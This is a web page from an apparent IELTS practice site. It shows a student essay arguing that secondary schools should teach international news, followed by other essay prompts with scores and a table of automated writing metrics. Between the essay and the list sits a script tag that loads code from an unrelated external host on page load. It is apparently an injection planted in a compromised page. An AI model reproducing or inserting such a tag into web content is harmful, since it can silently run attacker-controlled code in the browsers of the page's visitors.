Some people think secondary students should study international news as a school subject, but others suggest that it is a waste of students' valuable school time. Discuss both and give your opinion.
No one can argue that updating news is very important these days. Some people assert that teaching international news should be taken in secondary schools because it is very useful in some points, while others argue that it can waste students’ precious time. Both sides will be discussed carefully.
To begin with, there are many advantages for students who keep following international news. Firstly, learning international news helps students to open their eyes and know other nations. International knowledge, different cultures and various political systems can be acquired by only studying international news. As the globalization is dramatically increasing, it is very necessary for younger people to follow what is happening in the world. This is because, learning other nations’ news promotes the basic knowledge of other countries which helps students to be ready to get in the international job market in the future. Moreover, the comprehensive of international issues can improve the bond with other nations because teaching this thing to secondary students will develop good understanding about other countries to younger people which can definitely improve the national ties in the future.
On the other hand, some people oppose that there are many disadvantages of educating international news. Firstly, it definitely wastes times for secondary students. As this topic is not related to our common daily lives, international issues are very far from students’ lives. Therefore, there is no point to instruct secondary students. In addition, there are many complicated information on international news such as different political systems or economic issues which can be very difficult for younger people to perceive these issues.
To sum up with my opinion, the benefits of teaching international news contribute to broadening students’ horizons and preparing students to the competitive job market in the future, whereas it can be very hard for them to overcome all different topics. However, schools should instruct and encourage students to keep following what is going on in other countries because it is definitely essential in order to compete with other nations.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- Some people think it is easier for adults to learn practical skills such as computer skills by themselves while others believe it is better to learn with a teacher in classroom Discuss both sides and give your own opinion 87
- The consumption of the world s resources oil and water etc is increasing at a dangerous rate What are causes and solutions 86
- The government should lower the budget on the arts in order to allocate more money to education. To what extend do you agree? 70
- Some people think that a car is the best way to travel in cities while others believe a bicycle is a better way Discuss both views and give your opinion 70
- The graph below shows the quantities of goods transported in the UK between 1974 and 2002 by four different modes of transport.Summarise the information by selecting and reporting the main features, and make comparisons where relevant. 73
flaws:
No. of Different Words: 161 200
Attribute Value Ideal
Score: 6.5 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 16 15
No. of Words: 336 350
No. of Characters: 1810 1500
No. of Different Words: 161 200
Fourth Root of Number of Words: 4.281 4.7
Average Word Length: 5.387 4.6
Word Length SD: 2.934 2.4
No. of Words greater than 5 chars: 136 100
No. of Words greater than 6 chars: 111 80
No. of Words greater than 7 chars: 85 40
No. of Words greater than 8 chars: 53 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 21 21.0
Sentence Length SD: 10.776 7.5
Use of Discourse Markers (%): 0.625 0.12
Sentence-Text Coherence: 0.378 0.35
Sentence-Para Coherence: 0.547 0.50
Sentence-Sentence Coherence: 0.107 0.07
Number of Paragraphs: 4 5